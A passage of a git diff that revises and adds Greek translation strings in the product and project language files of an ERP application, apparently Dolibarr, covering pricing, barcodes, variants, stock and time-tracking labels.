άλλων τμημάτων σύμφωνα με το πρώτο τμήμα +PercentVariationOver=%%Παραλλαγή μέσω %s PercentDiscountOver=%% έκπτωση πάνω από %s KeepEmptyForAutoCalculation=Κρατήστε κενό για να το υπολογίσετε αυτομάτως από το βάρος ή τον όγκο των προϊόντων VariantRefExample=Παραδείγματα: ΧΡΩΜΑ, ΜΕΓΕΘΟΣ @@ -256,8 +256,8 @@ VariantLabelExample=Παραδείγματα: Χρώμα, Μέγεθος Build=Παράγω ProductsMultiPrice=Προϊόντα και τιμές για κάθε τμήμα τιμών ProductsOrServiceMultiPrice=Τιμές πελατών (προϊόντων ή υπηρεσιών, πολλαπλές τιμές) -ProductSellByQuarterHT=Κύκλος εργασιών τριμηνιαία πριν από τη φορολογία -ServiceSellByQuarterHT=Κύκλος εργασιών ανά τρίμηνο προ φόρων +ProductSellByQuarterHT=Κύκλος εργασιών προϊόντων ανά τρίμηνο προ φόρων +ServiceSellByQuarterHT=Κύκλος εργασιών υπηρεσιών ανά τρίμηνο προ φόρων Quarter1=1ο. Τέταρτο Quarter2=2ο. Τέταρτο Quarter3=3η. Τέταρτο @@ -271,7 +271,7 @@ FillBarCodeTypeAndValueManually=Συμπληρώστε τον τύπο barcode FillBarCodeTypeAndValueFromProduct=Συμπληρώστε τον τύπο barcode και αξία από το barcode του προϊόντος. FillBarCodeTypeAndValueFromThirdParty=Συμπληρώστε τον τύπο και την τιμή του γραμμικού κώδικα από τον γραμμωτό κώδικα ενός τρίτου μέρους. DefinitionOfBarCodeForProductNotComplete=Ο ορισμός του τύπου ή της αξίας του γραμμικού κώδικα δεν έχει ολοκληρωθεί για το προϊόν %s. -DefinitionOfBarCodeForThirdpartyNotComplete=Ορισμός του τύπου ή της αξίας του μη ολοκληρωμένου γραμμικού κώδικα για το τρίτο μέρος %s. +DefinitionOfBarCodeForThirdpartyNotComplete=Ο ορισμός του τύπου ή της αξίας του γραμμικού κώδικα δεν έχει ολοκληρωθεί για το τρίτο μέρος %s. BarCodeDataForProduct=Πληροφορίες γραμμικού κώδικα του προϊόντος %s: BarCodeDataForThirdparty=Πληροφορίες γραμμικού κώδικα τρίτου μέρους %s: ResetBarcodeForAllRecords=Ορίστε την τιμή του γραμμικού κώδικα για όλες τις εγγραφές (αυτό επίσης θα επαναφέρει την τιμή του γραμμικού κώδικα που έχει ήδη καθοριστεί με νέες τιμές) @@ -280,38 +280,38 @@ PriceCatalogue=Μια ενιαία τιμή πώλησης ανά προϊόν / PricingRule=Κανόνες για τις τιμές πώλησης AddCustomerPrice=Προσθήκη τιμής ανά πελάτη ForceUpdateChildPriceSoc=Ορίστε την ίδια τιμή στις θυγατρικές του πελάτη -PriceByCustomerLog=Καταγραφή προηγούμενων τιμών πελατών +PriceByCustomerLog=Αρχείο καταγραφής προηγούμενων τιμών πελατών MinimumPriceLimit=Η ελάχιστη τιμή δεν μπορεί να είναι χαμηλότερη από %s MinimumRecommendedPrice=Η ελάχιστη προτεινόμενη τιμή είναι: %s PriceExpressionEditor=Επεξεργαστής συνάρτησης τιμών PriceExpressionSelected=Επιλεγμένη έκφραση τιμής PriceExpressionEditorHelp1="τιμή = 2 + 2" ή "2 + 2" για τον καθορισμό της τιμής. Χρησιμοποιήστε ; για να διαχωρίσετε τις εκφράσεις -PriceExpressionEditorHelp2=Μπορείτε να έχετε πρόσβαση σε ExtraFields με μεταβλητές όπως # extrafield_myextrafieldkey # και παγκόσμιες μεταβλητές με # global_mycode # -PriceExpressionEditorHelp3=Και στις δύο τιμές προϊόντων / υπηρεσιών και πωλητών υπάρχουν οι παρακάτω μεταβλητές:
      # tva_tx # # localtax1_tx # # localtax2_tx # # βάρος # # μήκος # # επιφάνεια # # price_min # -PriceExpressionEditorHelp4=Μόνο στην τιμή προϊόντος / υπηρεσίας: # provider_min_price #
      Μόνο στις τιμές πωλητών: # # προμηθευτής και # προμηθευτής_tva_tx # -PriceExpressionEditorHelp5=Διαθέσιμες συνολικές τιμές: +PriceExpressionEditorHelp2=Μπορείτε να αποκτήσετε πρόσβαση στα Επιπλέον πεδία με μεταβλητές όπως #extrafield_myextrafieldkey# και καθολικές μεταβλητές με #global_mycode# +PriceExpressionEditorHelp3=Στις τιμές προϊόντων / υπηρεσιών και πωλητών υπάρχουν οι παρακάτω μεταβλητές:
      # tva_tx # # localtax1_tx # # localtax2_tx # # βάρος # # μήκος # # επιφάνεια # # price_min # +PriceExpressionEditorHelp4=Μόνο σε τιμή προϊόντος/υπηρεσίας: #supplier_min_price#
      Μόνο σε τιμές προμηθευτή: #supplier_quantity# και #supplier_tva_tx# +PriceExpressionEditorHelp5=Διαθέσιμες καθολικές τιμές: PriceMode=Λειτουργία Τιμής PriceNumeric=Αριθμός DefaultPrice=Προεπιλεγμένη τιμή DefaultPriceLog=Αρχείο προηγούμενων προεπιλεγμένων τιμών -ComposedProductIncDecStock=Αύξηση/Μείωση αποθεμάτων στην μητρική -ComposedProduct=Child products +ComposedProductIncDecStock=Αύξηση/Μείωση αποθέματος κατά την αλλαγή του αρχικού προϊόντος +ComposedProduct=Υποπροϊόντα MinSupplierPrice=Ελάχιστη τιμή αγοράς MinCustomerPrice=Ελάχιστη τιμή πώλησης NoDynamicPrice=Χωρίς δυναμική τιμή DynamicPriceConfiguration=Διαμόρφωση δυναμικών τιμών DynamicPriceDesc=Μπορείτε να ορίσετε μαθηματικούς τύπους για τον υπολογισμό των τιμών των πελατών ή των προμηθευτών. Τέτοιοι τύποι μπορούν να χρησιμοποιήσουν όλους τους μαθηματικούς χειριστές, κάποιες σταθερές και μεταβλητές. Μπορείτε να ορίσετε εδώ τις μεταβλητές που θέλετε να χρησιμοποιήσετε. Αν η μεταβλητή χρειάζεται αυτόματη ενημέρωση, μπορείτε να ορίσετε την εξωτερική διεύθυνση URL ώστε να επιτρέψει στο Dolibarr να ενημερώσει αυτόματα την τιμή. AddVariable=Προσθήκη μεταβλητής -AddUpdater=Προσθήκη του Updater +AddUpdater=Προσθήκη URL ενημέρωσης GlobalVariables=Καθολικές μεταβλητές VariableToUpdate=Μεταβλητή για ενημέρωση GlobalVariableUpdaters=Εξωτερικές ενημερώσεις για μεταβλητές GlobalVariableUpdaterType0=Δεδομένα JSON GlobalVariableUpdaterHelp0=Αναλύει τα δεδομένα JSON από συγκεκριμένη διεύθυνση URL, το VALUE καθορίζει τη θέση της αντίστοιχης τιμής, -GlobalVariableUpdaterHelpFormat0=Μορφή αίτησης {"URL": "http://example.com/urlofjson", "VALUE": "array1, array2, targetvalue"} +GlobalVariableUpdaterHelpFormat0=Μορφή για αίτημα {"URL": "http://example.com/urlofjson", "VALUE": "array1,array2,targetvalue"} GlobalVariableUpdaterType1=Δεδομένα WebService -GlobalVariableUpdaterHelp1=Parses δεδομένα WebService από συγκεκριμένη διεύθυνση URL, NS προσδιορίζει το χώρο ονομάτων, VALUE καθορίζει τη θέση της σχετικής τιμής, τα δεδομένα πρέπει να περιέχουν τα δεδομένα για αποστολή και METHOD είναι η μέθοδος κλήσης WS -GlobalVariableUpdaterHelpFormat1=Η φόρμα για το αίτημα είναι {"URL": "http://example.com/urlofws", "VALUE": "array, targetvalue", "NS": "http://example.com/urlofns" : "myWSMethod", "DATA": {"your": "δεδομένα", "to": "αποστολή"}} +GlobalVariableUpdaterHelp1=Αναλύει δεδομένα WebService από καθορισμένο URL, το NS καθορίζει το namespace, το VALUE καθορίζει τη θέση της σχετικής τιμής, τα DATA πρέπει να περιέχουν τα δεδομένα προς αποστολή και το METHOD είναι η μέθοδος κλησης WS +GlobalVariableUpdaterHelpFormat1=Η μορφή αιτήματος είναι {"URL": "http://example.com/urlofws", "VALUE": "array,targetvalue", "NS": "http://example.com/urlofns", "METHOD" : "myWSMethod", "DATA": {"your": "data", "to": "send"}} UpdateInterval=Διάρκεια ενημέρωσης (λεπτά) LastUpdated=Τελευταία ενημέρωση CorrectlyUpdated=Ενημερώθηκε σωστά @@ -331,21 +331,21 @@ ProductWeight=Βάρος για 1 προϊόν ProductVolume=Όγκος για 1 προϊόν WeightUnits=Μονάδα βάρους VolumeUnits=Μονάδα όγκου -WidthUnits=Πλάτος -LengthUnits=Μήκος -HeightUnits=Ύψος +WidthUnits=Μονάδα πλάτους +LengthUnits=Μονάδα μήκους +HeightUnits=Μονάδα ύψους SurfaceUnits=Μονάδα επιφάνειας SizeUnits=Μονάδα μεγέθους DeleteProductBuyPrice=Διαγραφή τιμής αγοράς -ConfirmDeleteProductBuyPrice=Είστε βέβαιοι ότι θέλετε να διαγράψετε αυτήν την τιμή αγοράς; +ConfirmDeleteProductBuyPrice=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτήν την τιμή αγοράς; SubProduct=Υποπροϊόν -ProductSheet=Φύλλο προϊόντος -ServiceSheet=Φύλλο εξυπηρέτησης +ProductSheet=Κατάσταση(Φύλλο) προϊόντων +ServiceSheet=Κατάσταση(Φύλλο) υπηρεσιών PossibleValues=Πιθανές τιμές -GoOnMenuToCreateVairants=Πηγαίνετε στο μενού %s - %s για να προετοιμάσετε παραλλαγές χαρακτηριστικών (όπως χρώματα, μέγεθος, ...) +GoOnMenuToCreateVairants=Μεταβείτε στο μενού %s - %s για να προετοιμάσετε παραλλαγές χαρακτηριστικών (όπως χρώματα, μέγεθος, ...) UseProductFournDesc=Προσθέστε μια δυνατότητα για να ορίσετε την περιγραφή του προϊόντος που ορίστηκε από τους προμηθευτές (για κάθε αναφορά προμηθευτή) επιπρόσθετα της περιγραφής για τους πελάτες ProductSupplierDescription=Περιγραφή προμηθευτή για το προϊόν -UseProductSupplierPackaging=Χρησιμοποιήστε τη συσκευασία στις τιμές προμηθευτή (επανυπολογίστε τις ποσότητες σύμφωνα με τη συσκευασία που καθορίζεται στην τιμή προμηθευτή κατά την προσθήκη / ενημέρωση της γραμμής στα έγγραφα προμηθευτών) +UseProductSupplierPackaging=Χρησιμοποιήστε την συσκευασία για τιμές στρογγυλοποιημένες σε πολλαπλές για τιμές αγοράς (υπολογίστε εκ νέου τις ποσότητες σύμφωνα με τα πολλαπλάσια που ορίζονται στις τιμές αγοράς κατά την προσθήκη/ενημέρωση γραμμής σε έγγραφα προμηθευτή) PackagingForThisProduct=Συσκευασία PackagingForThisProductDesc=Θα αγοράσετε αυτόματα ένα πολλαπλάσιο αυτής της ποσότητας. QtyRecalculatedWithPackaging=Η ποσότητα της γραμμής υπολογίστηκε εκ νέου σύμφωνα με τη συσκευασία του προμηθευτή @@ -355,12 +355,12 @@ VariantAttributes=Χαρακτηριστικά παραλλαγής ProductAttributes=Χαρακτηριστικά παραλλαγών για προϊόντα ProductAttributeName=Χαρακτηριστικό παραλλαγής %s ProductAttribute=Χαρακτηριστικό παραλλαγής -ProductAttributeDeleteDialog=Είστε βέβαιοι ότι θέλετε να διαγράψετε αυτό το χαρακτηριστικό; Όλες οι τιμές θα διαγραφούν -ProductAttributeValueDeleteDialog=Είστε βέβαιοι ότι θέλετε να διαγράψετε την τιμή "%s" με αναφορά "%s" αυτού του χαρακτηριστικού; -ProductCombinationDeleteDialog=Είστε βέβαιοι ότι θέλετε να διαγράψετε την παραλλαγή του προϊόντος " %s "; +ProductAttributeDeleteDialog=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτό το χαρακτηριστικό; Όλες οι τιμές θα διαγραφούν +ProductAttributeValueDeleteDialog=Είστε σίγουροι ότι θέλετε να διαγράψετε την τιμή "%s" με αναφορά "%s" αυτού του χαρακτηριστικού; +ProductCombinationDeleteDialog=Είστε σίγουροι ότι θέλετε να διαγράψετε την παραλλαγή του προϊόντος "%s "; ProductCombinationAlreadyUsed=Παρουσιάστηκε σφάλμα κατά τη διαγραφή της παραλλαγής. Ελέγξτε ότι δεν χρησιμοποιείται σε οποιοδήποτε αντικείμενο ProductCombinations=Παραλλαγές -PropagateVariant=Διαφορετικές παραλλαγές +PropagateVariant=Παραγωγή παραλλαγών HideProductCombinations=Απόκρυψη παραλλαγών προϊόντων στον επιλογέα προϊόντων ProductCombination=Παραλλαγή NewProductCombination=Νέα παραλλαγή @@ -370,36 +370,36 @@ EditProductCombinations=Επεξεργασία παραλλαγών SelectCombination=Επιλέξτε συνδυασμό ProductCombinationGenerator=Γεννήτρια παραλλαγών Features=Χαρακτηριστικά -PriceImpact=Επιπτώσεις στις τιμές +PriceImpact=Επίπτωση στην τιμή ImpactOnPriceLevel=Αντίκτυπος στο επίπεδο τιμών %s ApplyToAllPriceImpactLevel= Εφαρμογή σε όλα τα επίπεδα ApplyToAllPriceImpactLevelHelp=Κάνοντας κλικ εδώ, ορίζετε τον ίδιο αντίκτυπο στην τιμή σε όλα τα επίπεδα -WeightImpact=Επιπτώσεις στο βάρος +WeightImpact=Επίπτωση στο βάρος NewProductAttribute=Νέο χαρακτηριστικό NewProductAttributeValue=Νέα τιμή χαρακτηριστικού ErrorCreatingProductAttributeValue=Παρουσιάστηκε σφάλμα κατά τη δημιουργία της τιμής του χαρακτηριστικού. Θα μπορούσε να είναι επειδή υπάρχει ήδη μια υπάρχουσα τιμή με αυτή την αναφορά ProductCombinationGeneratorWarning=Εάν συνεχίσετε, πριν δημιουργήσετε νέες παραλλαγές, όλες οι προηγούμενες θα ΔΙΑΓΡΑΦΟΥΝ. Οι ήδη υπάρχουσες θα ενημερωθούν με τις νέες τιμές TooMuchCombinationsWarning=Η δημιουργία πολλών παραλλαγών μπορεί να έχει ως αποτέλεσμα υψηλή χρήση CPU και μνήμης με συνέπεια το Dolibarr να μην μπορεί να τις δημιουργήσει. Η ενεργοποίηση της επιλογής "%s" μπορεί να βοηθήσει στη μείωση της χρήσης μνήμης. DoNotRemovePreviousCombinations=Μην αφαιρείτε προηγούμενες παραλλαγές -UsePercentageVariations=Χρησιμοποιήστε ποσοστιαίες παραλλαγές -PercentageVariation=Ποσοστιαία μεταβολή +UsePercentageVariations=Ποσοστό χρήσης παραλλαγών +PercentageVariation=Ποσοστό παραλλαγής ErrorDeletingGeneratedProducts=Παρουσιάστηκε σφάλμα κατά την προσπάθεια διαγραφής των υπαρχουσών παραλλαγών προϊόντων NbOfDifferentValues=Αριθ. Διαφορετικών τιμών NbProducts=Αριθμός προϊόντων -ParentProduct=Το γονικό προϊόν +ParentProduct=Αρχικό προϊόν HideChildProducts=Απόκρυψη παραλλαγών προϊόντων ShowChildProducts=Εμφάνιση παραλλαγών προϊόντων -NoEditVariants=Μεταβείτε στην καρτέλα γονικής κάρτας προϊόντος και επεξεργαστείτε τις επιπτώσεις των τιμών των παραλλαγών στην καρτέλα παραλλαγών -ConfirmCloneProductCombinations=Θέλετε να αντιγράψετε όλες τις παραλλαγές προϊόντων στο άλλο γονικό προϊόν με τη δεδομένη αναφορά; -CloneDestinationReference=Παραπομπή προϊόντος προορισμού +NoEditVariants=Μεταβείτε στην καρτέλα του αρχικού προϊόντος και επεξεργαστείτε τις επιπτώσεις των τιμών των παραλλαγών στην καρτέλα παραλλαγών +ConfirmCloneProductCombinations=Θέλετε να αντιγράψετε όλες τις παραλλαγές προϊόντων στο άλλο αρχικό προϊόν με τη συγκεκριμένη αναφορά; +CloneDestinationReference=Αναφορά προϊόντος προορισμού ErrorCopyProductCombinations=Παρουσιάστηκε σφάλμα κατά την αντιγραφή των παραλλαγών του προϊόντος ErrorDestinationProductNotFound=Το προϊόν προορισμού δεν βρέθηκε ErrorProductCombinationNotFound=Η παραλλαγή προϊόντος δεν βρέθηκε ActionAvailableOnVariantProductOnly=Η ενέργεια είναι διαθέσιμη μόνο για την παραλλαγή του προϊόντος ProductsPricePerCustomer=Τιμές προϊόντων ανά πελάτη ProductSupplierExtraFields=Πρόσθετα χαρακτηριστικά (τιμές προμηθευτή) -DeleteLinkedProduct=Διαγράψτε το θυγατρικό προϊόν που συνδέεται με τον συνδυασμό -AmountUsedToUpdateWAP=Ποσό που θα χρησιμοποιηθεί για την ενημέρωση της σταθμισμένης μέσης τιμής +DeleteLinkedProduct=Διαγράψτε το υποπροϊόν που συνδέεται με τον συνδυασμό +AmountUsedToUpdateWAP=Ποσό μονάδας που θα χρησιμοποιηθεί για την ενημέρωση της σταθμισμένης μέσης τιμής PMPValue=Σταθμισμένη μέση τιμή PMPValueShort=WAP mandatoryperiod=Υποχρεωτικές περίοδοι @@ -407,7 +407,7 @@ mandatoryPeriodNeedTobeSet=Σημείωση: Πρέπει να καθοριστ mandatoryPeriodNeedTobeSetMsgValidate=Μια υπηρεσία απαιτεί περίοδο έναρξης και λήξης mandatoryHelper=Επιλέξτε αυτό εάν θέλετε ένα μήνυμα στον χρήστη κατά τη δημιουργία/επικύρωση τιμολογίου, εμπορικής πρότασης, παραγγελίας πώλησης χωρίς να εισάγετε ημερομηνία έναρξης και λήξης στις γραμμές αυτής της υπηρεσίας.
      Σημειώστε ότι το μήνυμα είναι μια προειδοποίηση και όχι ένα σφάλμα αποκλεισμού. DefaultBOM=Προεπιλεγμένο BOM -DefaultBOMDesc=Το προεπιλεγμένο BOM συνιστάται να χρησιμοποιείται για την κατασκευή αυτού του προϊόντος. Αυτό το πεδίο μπορεί να οριστεί μόνο εάν η φύση του προϊόντος είναι "%s". +DefaultBOMDesc=Το προεπιλεγμένο BOM που συνιστάται να χρησιμοποιείται για την κατασκευή αυτού του προϊόντος. Αυτό το πεδίο μπορεί να οριστεί μόνο εάν η φύση του προϊόντος είναι "%s". Rank=Κατάταξη MergeOriginProduct=Διπλότυπο προϊόν (προϊόν που θέλετε να διαγράψετε) MergeProducts=Συγχώνευση προϊόντων @@ -416,10 +416,11 @@ ProductsMergeSuccess=Τα προϊόντα έχουν συγχωνευθεί ErrorsProductsMerge=Σφάλματα κατά τη συγχώνευση προϊόντων SwitchOnSaleStatus=Ενεργοποίηση κατάστασης πώλησης SwitchOnPurchaseStatus=Ενεργοποίηση κατάσταση αγοράς -StockMouvementExtraFields= Extra Fields (κίνηση μετοχών) -InventoryExtraFields= Επιπλέον πεδία (απόθεμα) +UpdatePrice=Αύξηση/μείωση τιμής πελάτη +StockMouvementExtraFields= Επιπλέον πεδία (κίνηση αποθεμάτων) +InventoryExtraFields= Επιπλέον πεδία (απογραφή) ScanOrTypeOrCopyPasteYourBarCodes=Σαρώστε ή πληκτρολογήστε ή αντιγράψτε/επικολλήστε τους γραμμωτούς κώδικες σας -PuttingPricesUpToDate=Ενημερώστε τις τιμές με τις τρέχουσες γνωστές τιμές +PuttingPricesUpToDate=Ενημέρωση τιμών με τις τρέχουσες γνωστές τιμές PMPExpected=Αναμενόμενο PMP ExpectedValuation=Αναμενόμενη Αποτίμηση PMPReal=Πραγματικό PMP @@ -427,3 +428,4 @@ RealValuation=Πραγματική Αποτίμηση ConfirmEditExtrafield = Επιλέξτε το επιπλέον πεδίο που θέλετε να τροποποιήσετε ConfirmEditExtrafieldQuestion = Είστε σιγουροι ότι θέλετε να τροποποιήσετε αυτό το επιπλέον πεδίο; ModifyValueExtrafields = Τροποποίηση της τιμής ενός επιπλέον πεδίου +OrProductsWithCategories=Ή προϊόντα με ετικέτες/κατηγορίες diff --git a/htdocs/langs/el_GR/projects.lang b/htdocs/langs/el_GR/projects.lang index b9af08448d1..4e12b625d84 100644 --- a/htdocs/langs/el_GR/projects.lang +++ b/htdocs/langs/el_GR/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Αυτή η προβολή παρουσιάζει όλα τα έ TasksDesc=Αυτή η προβολή παρουσιάζει όλα τα έργα και τις εργασίες (τα δικαιώματα χρήστη σας δίνουν την άδεια να βλέπετε τα πάντα). AllTaskVisibleButEditIfYouAreAssigned=Όλες οι εργασίες για πιστοποιημένα έργα είναι ορατές, αλλά μπορείτε να εισάγετε χρόνο μόνο για εργασία που έχει εκχωρηθεί σε επιλεγμένο χρήστη. Εκχωρήστε εργασία αν χρειαστεί να εισάγετε χρόνο σε αυτήν. OnlyYourTaskAreVisible=Μόνο εργασίες που σας έχουν ανατεθεί είναι ορατές. Αν χρειάζεται να εισάγετε χρόνο στην εργασία και η εργασία δεν είναι ορατή, πρέπει να αναθέσετε την εργασία στον εαυτό σας. +ImportDatasetProjects=Έργα ή ευκαιρίες ImportDatasetTasks=Καθήκοντα έργων ProjectCategories=Ετικέτες/κατηγορίες έργου NewProject=Νέο Έργο @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Ποσό προοπτικών ανοιχτ OpportunitiesStatusForProjects=Ποσό προοπτικών έργων ανά κατάσταση ShowProject=Εμφάνιση έργου ShowTask=Εμφάνιση Εργασίας +SetThirdParty=Ορισμός τρίτου μέρους SetProject=Ορισμός έργου +OutOfProject=Εκτός έργου NoProject=Κανένα έργο δεν έχει οριστεί ή εκχωρηθεί NbOfProjects=Αριθμός έργων NbOfTasks=Αριθμός εργασιών @@ -55,11 +58,11 @@ TaskTimeDate=Ημερομηνία TasksOnOpenedProject=Εργασίες σε ανοιχτά έργα WorkloadNotDefined=Ο φόρτος εργασίας δεν έχει καθοριστεί NewTimeSpent=Χρόνος που ξοδεύτηκε -MyTimeSpent=Ο χρόνος μου πέρασε -BillTime=Ο χρόνος που πέρασε -BillTimeShort=Χρόνος λογαριασμού -TimeToBill=Χρόνος που δεν χρεώνεται -TimeBilled=Χρόνος χρέωσης +MyTimeSpent=Ο χρόνος που δαπάνησα +BillTime=Χρέωση του χρόνου που δαπανήθηκε +BillTimeShort=Χρέωση χρόνου +TimeToBill=Χρόνος που δεν χρεώθηκε +TimeBilled=Χρόνος που χρεώθηκε Tasks=Εργασίες Task=Εργασία TaskDateStart=Ημερομηνία έναρξης εργασιών @@ -67,8 +70,8 @@ TaskDateEnd=Ημερομηνία λήξης εργασιών TaskDescription=Περιγραφή των εργασιών NewTask=Νέα Εργασία AddTask=Δημιουργία εργασίας -AddTimeSpent=Δημιουργήστε χρόνο που δαπανάται -AddHereTimeSpentForDay=Προσθέστε εδώ χρόνο που δαπανάται για αυτήν την ημέρα / εργασία +AddTimeSpent=Δημιουργήστε χρόνο που δαπανήθηκε +AddHereTimeSpentForDay=Προσθέστε εδώ χρόνο που δαπανήθηκε για αυτήν την ημέρα / εργασία AddHereTimeSpentForWeek=Προσθέστε εδώ χρόνο που δαπανάται για αυτήν την εβδομάδα / εργασία Activity=Δραστηριότητα Activities=Εργασίες/Δραστηριότητες @@ -104,7 +107,7 @@ ListDonationsAssociatedProject=Λίστα δωρεών που σχετίζοντ ListVariousPaymentsAssociatedProject=Λίστα διαφόρων πληρωμών που σχετίζονται με το έργο ListSalariesAssociatedProject=Λίστα πληρωμών μισθών που σχετίζονται με το σχέδιο ListActionsAssociatedProject=Λίστα ενεργειών που σχετίζονται με το έργο -ListMOAssociatedProject=Λίστα παραγγελιών κατασκευής που σχετίζονται με το έργο +ListMOAssociatedProject=Λίστα παραγγελιών παραγωγής που σχετίζονται με το έργο ListTaskTimeUserProject=Λίστα χρόνου που καταναλώθηκε σε καθήκοντα του έργου ListTaskTimeForTask=Λίστα χρόνου που καταναλώθηκε στην εργασία ActivityOnProjectToday=Δραστηριότητα στο έργο σήμερα @@ -112,17 +115,18 @@ ActivityOnProjectYesterday=Δραστηριότητα στο έργο χθες ActivityOnProjectThisWeek=Δραστηριότητα στο έργο αυτή την εβδομάδα ActivityOnProjectThisMonth=Δραστηριότητα στο έργο αυτό το μήνα ActivityOnProjectThisYear=Δραστηριότητα στο έργο φέτος -ChildOfProjectTask=Παιδί του έργου / εργασίας -ChildOfTask=Παιδί της αποστολής -TaskHasChild=Η εργασία έχει παιδί +ChildOfProjectTask=Θυγατρικό έργο/εργασία +ChildOfTask=δευτερεύουσα εργασία +TaskHasChild=Η εργασία έχει υποεργασία NotOwnerOfProject=Δεν είστε υπεύθυνος αυτού του ιδιωτικού έργου -AffectedTo=Κατανέμονται σε +AffectedTo=Κατανεμήθηκε σε CantRemoveProject=Το έργο δεν μπορεί να διαγραφεί καθώς συνδέεται με κάποιο άλλο αντικείμενο (τιμολόγιο, εντολές ή αλλο). Δείτε την καρτέλα '%s'. ValidateProject=Επικύρωση έργου ConfirmValidateProject=Είστε σίγουροι ότι θέλετε να επικυρώσετε αυτό το έργο; CloseAProject=Κλείσιμο έργου ConfirmCloseAProject=Είστε σίγουροι ότι θέλετε να κλείσετε αυτό το έργο; -AlsoCloseAProject=Επίσης κλείστε το έργο (διατηρήστε το ανοιχτό εάν εξακολουθείτε να χρειάζεστε να ακολουθείτε εργασίες παραγωγής σε αυτό) +AlsoCloseAProject=Επίσης κλείσε το έργο +AlsoCloseAProjectTooltip=Αφήστε το ανοιχτό εάν χρειάζεται να παρακολουθήσετε τις εργασίες παραγωγής σε αυτό ReOpenAProject=Άνοιγμα έργου ConfirmReOpenAProject=Είστε σίγουροι ότι θέλετε να ανοίξετε ξανά αυτό το έργο; ProjectContact=Επαφές έργου @@ -130,26 +134,26 @@ TaskContact=Επαφές εργασιών ActionsOnProject=Ενέργειες για το έργο YouAreNotContactOfProject=Δεν είστε επαφή αυτού του ιδιωτικού έργου UserIsNotContactOfProject=Ο χρήστης δεν είναι επαφή αυτού του ιδιωτικού έργου -DeleteATimeSpent=Διαγράψτε το χρόνο που δαπανάται -ConfirmDeleteATimeSpent=Είστε βέβαιοι ότι θέλετε να διαγράψετε αυτόν τον χρόνο; -DoNotShowMyTasksOnly=Δείτε επίσης τα καθήκοντα που δεν ανατέθηκαν σε μένα +DeleteATimeSpent=Διαγραφή χρόνου που δαπανήθηκε +ConfirmDeleteATimeSpent=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτόν τον χρόνο που δαπανήθηκε; +DoNotShowMyTasksOnly=Δείτε επίσης καθήκοντα που δεν ανατέθηκαν σε μένα ShowMyTasksOnly=Δείτε τα καθήκοντα που σας έχουν ανατεθεί TaskRessourceLinks=Επαφές της εργασίας ProjectsDedicatedToThisThirdParty=Έργα που αφορούν αυτό το τρίτο μέρος NoTasks=Δεν υπάρχουν εργασίες για αυτό το έργο LinkedToAnotherCompany=Συνδέεται με άλλο τρίτο μέρος TaskIsNotAssignedToUser=Η εργασία δεν έχει ανατεθεί στον χρήστη. Χρησιμοποιήστε το κουμπί ' %s ' για να αναθέσετε την εργασία τώρα. -ErrorTimeSpentIsEmpty=Χρόνος που δαπανάται είναι άδειο +ErrorTimeSpentIsEmpty=Ο χρόνος που δαπανήθηκε είναι κενός TimeRecordingRestrictedToNMonthsBack=Η καταγραφή χρόνου περιορίζεται σε %s μήνες πίσω -ThisWillAlsoRemoveTasks=Αυτή η ενέργεια θα διαγράψει επίσης όλα τα καθήκοντα του έργου (%s καθηκόντων προς το παρόν) και όλες οι είσοδοι του χρόνου. -IfNeedToUseOtherObjectKeepEmpty=Εάν ορισμένα αντικείμενα (τιμολόγιο, προκειμένου, ...), που ανήκουν σε άλλο τρίτο μέρος, πρέπει να συνδέεται με το έργο να δημιουργήσει, διατηρήσει αυτό το κενό να έχει το έργο να είναι πολλαπλών τρίτους. -CloneTasks=Clone tasks -CloneContacts=Clone contacts -CloneNotes=Clone notes -CloneProjectFiles=Κλώνος έργου εντάχθηκαν αρχεία -CloneTaskFiles=Ο κλώνος εργασία (ες) εντάχθηκαν αρχεία (εάν εργασία (ες) που κλωνοποιήθηκε) -CloneMoveDate=Ενημέρωση έργου / εργασιών που χρονολογούνται από τώρα; -ConfirmCloneProject=Είστε σίγουροι ότι θα κλωνοποιήσετε αυτό το έργο; +ThisWillAlsoRemoveTasks=Αυτή η ενέργεια θα διαγράψει επίσης όλες τις εργασίες του έργου ( %s εργασίες αυτή τη στιγμή) και όλες τις εισροές του χρόνου που δαπανήθηκε. +IfNeedToUseOtherObjectKeepEmpty=Εάν ορισμένα αντικείμενα (τιμολόγιο, προκειμένου, ...), που ανήκουν σε άλλο τρίτο μέρος, πρέπει να συνδεθούν με το έργο προς δημιουργία, διατηρήστε αυτό κενό ώστε το έργο να είναι πολλαπλών τρίτων μερών. +CloneTasks=Αντιγραφή εργασιών +CloneContacts=Αντιγραφή επαφών +CloneNotes=Αντιγραφή σημειώσεων +CloneProjectFiles=Αντιγραφή αρχείων έργου +CloneTaskFiles=Αντιγραφή κοινών αρχείων εργασιών (εάν έχουν αντιγραφεί οι εργασίες) +CloneMoveDate=Ενημέρωση του έργου/των εργασιών από τώρα; +ConfirmCloneProject=Είστε σίγουροι ότι θέλετε να αντιγράψετε αυτό το έργο; ProjectReportDate=Αλλάξτε τις ημερομηνίες των εργασιών σύμφωνα με την ημερομηνία έναρξης του νέου έργου ErrorShiftTaskDate=Αδύνατη η αλλαγή της ημερομηνίας εργασίας σύμφωνα με την ημερομηνία έναρξης του νέου έργου ProjectsAndTasksLines=Έργα και εργασίες @@ -165,8 +169,8 @@ OpportunityProbability=Πιθανότητα προοπτικής OpportunityProbabilityShort=Πιθαν. προοπτικής OpportunityAmount=Ποσό προοπτικής OpportunityAmountShort=Ποσό προοπτικής -OpportunityWeightedAmount=Σταθμισμένο ποσό ευκαιρίας -OpportunityWeightedAmountShort=Σταθμ. ποσό ευκαιρίας +OpportunityWeightedAmount=Ποσό ευκαιρίας, σταθμισμένο με πιθανότητα +OpportunityWeightedAmountShort=Σταθμισμένο ποσό ευκαιρίας OpportunityAmountAverageShort=Μέσο ποσό προοπτικής OpportunityAmountWeigthedShort=Σταθμισμένο ποσό προοπτικής WonLostExcluded=Κερδισμένες/χαμένες εξαιρούνται @@ -175,8 +179,8 @@ TypeContact_project_internal_PROJECTLEADER=Επικεφαλής του έργο TypeContact_project_external_PROJECTLEADER=Επικεφαλής του έργου TypeContact_project_internal_PROJECTCONTRIBUTOR=Συνεισφέρων TypeContact_project_external_PROJECTCONTRIBUTOR=Συνεισφέρων -TypeContact_project_task_internal_TASKEXECUTIVE=Εκτελεστική ομάδα -TypeContact_project_task_external_TASKEXECUTIVE=Εκτελεστική ομάδα 